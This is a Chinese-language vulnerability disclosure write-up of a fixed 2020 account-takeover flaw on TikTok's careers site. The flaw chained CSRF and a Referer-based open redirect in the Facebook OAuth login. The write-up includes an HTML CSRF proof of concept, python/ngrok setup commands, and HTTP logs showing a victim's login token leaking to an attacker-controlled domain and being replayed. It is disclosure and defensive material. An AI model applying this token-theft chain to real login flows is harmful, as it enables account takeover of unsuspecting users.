TikTok招聘网站的账号接管漏洞
字数 1314 2025-08-18 11:36:47

TikTok招聘网站账号接管漏洞分析报告

漏洞概述

本报告详细分析了TikTok招聘网站(careers.tiktok.com)存在的账号接管漏洞,该漏洞结合了CSRF(跨站请求伪造)和开放重定向漏洞,允许攻击者接管使用Facebook登录的招聘网站用户账户。漏洞于2020年10月17日通过Hackerone提交,TikTok在12天内修复了该漏洞。

受影响范围

  • 仅限于TikTok招聘网站(careers.tiktok.com)
  • 不影响TikTok其他网站或移动应用程序
  • 仅影响使用Facebook账号登录的用户

漏洞技术细节

1. 漏洞前提条件

  • 受害者使用Facebook账号在careers.tiktok.com进行过身份验证
  • 受害者已同意与TikTok共享数据
  • 受害者在Facebook上有活跃会话

2. 核心漏洞点

CSRF漏洞
TikTok招聘网站在登录点和与Facebook的交互中缺乏有效的CSRF防护机制。

开放重定向漏洞
网站使用Referer头确定令牌的目标,但没有对Referer值进行适当的白名单验证,导致敏感令牌可能泄露给攻击者控制的网站。

3. 漏洞利用步骤

攻击准备阶段

  1. 准备CSRF攻击PoC代码:
<html>
<body>
<script>history.pushState('','','/')</script>
<form action="https://careers.tiktok.com/api/v1/user/facebook/login">
<input type="hidden" name="next_url" value="https://redacted.tiktok.com/" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
  1. 启动本地web服务器:
python -m http.server 1234
  1. 使用ngrok设置反向代理获取公共域名:
ngrok http 1234

攻击执行阶段

  1. 诱使受害者访问攻击者控制的网站(如https://abcdefghij.ngrok.io)

  2. 受害者浏览器向careers.tiktok.com发起登录请求,关键点在于Referer头:

GET /api/v1/user/facebook/login?next_url=https://careers.tiktok.com/ HTTP/1.1
Host: careers.tiktok.com
[...]
Referer: https://abcdefghij.ngrok.io
Cookie: [REDACTED]
  1. 受害者被重定向到Facebook进行认证:
HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=utf-8
Content-Length: 283
Location: https://www.facebook.com/v3.2/dialog/oauth?client_id=792134571243895&redirect_uri=https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback&response_type=code&state=[REDACTED]
[...]
  1. Facebook自动重定向回攻击者控制的域名,泄露敏感令牌:
HTTP/1.1 302 Found
[...]
Location: https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback?code=[REDACTED]&state=[REDACTED]D#_=_
  1. 攻击者获取包含受害者令牌的请求记录:
GET /api/v1/user/facebook/callback?next_url=https://careers.tiktok.com/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: abcdefghij.ngrok.io
[...]

账号接管阶段

  1. 攻击者在新的浏览器会话中访问https://careers.tiktok.com/login并点击Facebook按钮

  2. 攻击者执行正常登录流程,但在最终请求中将自己的令牌替换为之前获取的受害者令牌:

GET /api/v1/user/facebook/callback?next_url=https://[redacted_domain_1]/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: careers.tiktok.com
[...]
  1. 攻击者成功登录受害者账号

漏洞影响

恶意攻击者可以利用此漏洞:

  • 完全接管受害者在TikTok招聘网站的账户
  • 访问受害者的个人信息和招聘相关数据
  • 可能进行进一步的恶意操作

修复建议

  1. CSRF防护

    • 对所有身份验证端点实施CSRF保护机制
    • 使用CSRF令牌验证请求来源
  2. 敏感信息保护

    • 不要向第三方泄露敏感的身份验证参数(如令牌)
    • 如果必须使用Referer头,应对其值进行严格的白名单验证
  3. 会话管理

    • 实施更强的会话绑定机制
    • 考虑使用一次性令牌
  4. 重定向验证

    • 严格验证所有重定向URL
    • 限制重定向只能指向可信域名

漏洞披露时间线

  • 2020年10月17日:通过Hackerone提交初始报告
  • 2020年10月18日:TikTok确认漏洞并给予较高CVSS评分(7.5)
  • 2020年10月28日:TikTok发放漏洞赏金
  • 2020年10月29日:漏洞修复完成并验证

总结

本案例展示了当CSRF漏洞与开放重定向漏洞结合使用时可能造成的严重后果。开发者在实现第三方登录功能时,必须特别注意CSRF防护和敏感信息的保护,避免因设计缺陷导致账号接管等高风险漏洞。

TikTok招聘网站账号接管漏洞分析报告 漏洞概述 本报告详细分析了TikTok招聘网站(careers.tiktok.com)存在的账号接管漏洞,该漏洞结合了CSRF(跨站请求伪造)和开放重定向漏洞,允许攻击者接管使用Facebook登录的招聘网站用户账户。漏洞于2020年10月17日通过Hackerone提交,TikTok在12天内修复了该漏洞。 受影响范围 仅限于TikTok招聘网站(careers.tiktok.com) 不影响TikTok其他网站或移动应用程序 仅影响使用Facebook账号登录的用户 漏洞技术细节 1. 漏洞前提条件 受害者使用Facebook账号在careers.tiktok.com进行过身份验证 受害者已同意与TikTok共享数据 受害者在Facebook上有活跃会话 2. 核心漏洞点 CSRF漏洞 : TikTok招聘网站在登录点和与Facebook的交互中缺乏有效的CSRF防护机制。 开放重定向漏洞 : 网站使用Referer头确定令牌的目标,但没有对Referer值进行适当的白名单验证,导致敏感令牌可能泄露给攻击者控制的网站。 3. 漏洞利用步骤 攻击准备阶段 准备CSRF攻击PoC代码: 启动本地web服务器: 使用ngrok设置反向代理获取公共域名: 攻击执行阶段 诱使受害者访问攻击者控制的网站(如https://abcdefghij.ngrok.io) 受害者浏览器向careers.tiktok.com发起登录请求,关键点在于Referer头: 受害者被重定向到Facebook进行认证: Facebook自动重定向回攻击者控制的域名,泄露敏感令牌: 攻击者获取包含受害者令牌的请求记录: 账号接管阶段 攻击者在新的浏览器会话中访问https://careers.tiktok.com/login并点击Facebook按钮 攻击者执行正常登录流程,但在最终请求中将自己的令牌替换为之前获取的受害者令牌: 攻击者成功登录受害者账号 漏洞影响 恶意攻击者可以利用此漏洞: 完全接管受害者在TikTok招聘网站的账户 访问受害者的个人信息和招聘相关数据 可能进行进一步的恶意操作 修复建议 CSRF防护 : 对所有身份验证端点实施CSRF保护机制 使用CSRF令牌验证请求来源 敏感信息保护 : 不要向第三方泄露敏感的身份验证参数(如令牌) 如果必须使用Referer头,应对其值进行严格的白名单验证 会话管理 : 实施更强的会话绑定机制 考虑使用一次性令牌 重定向验证 : 严格验证所有重定向URL 限制重定向只能指向可信域名 漏洞披露时间线 2020年10月17日:通过Hackerone提交初始报告 2020年10月18日:TikTok确认漏洞并给予较高CVSS评分(7.5) 2020年10月28日:TikTok发放漏洞赏金 2020年10月29日:漏洞修复完成并验证 总结 本案例展示了当CSRF漏洞与开放重定向漏洞结合使用时可能造成的严重后果。开发者在实现第三方登录功能时,必须特别注意CSRF防护和敏感信息的保护,避免因设计缺陷导致账号接管等高风险漏洞。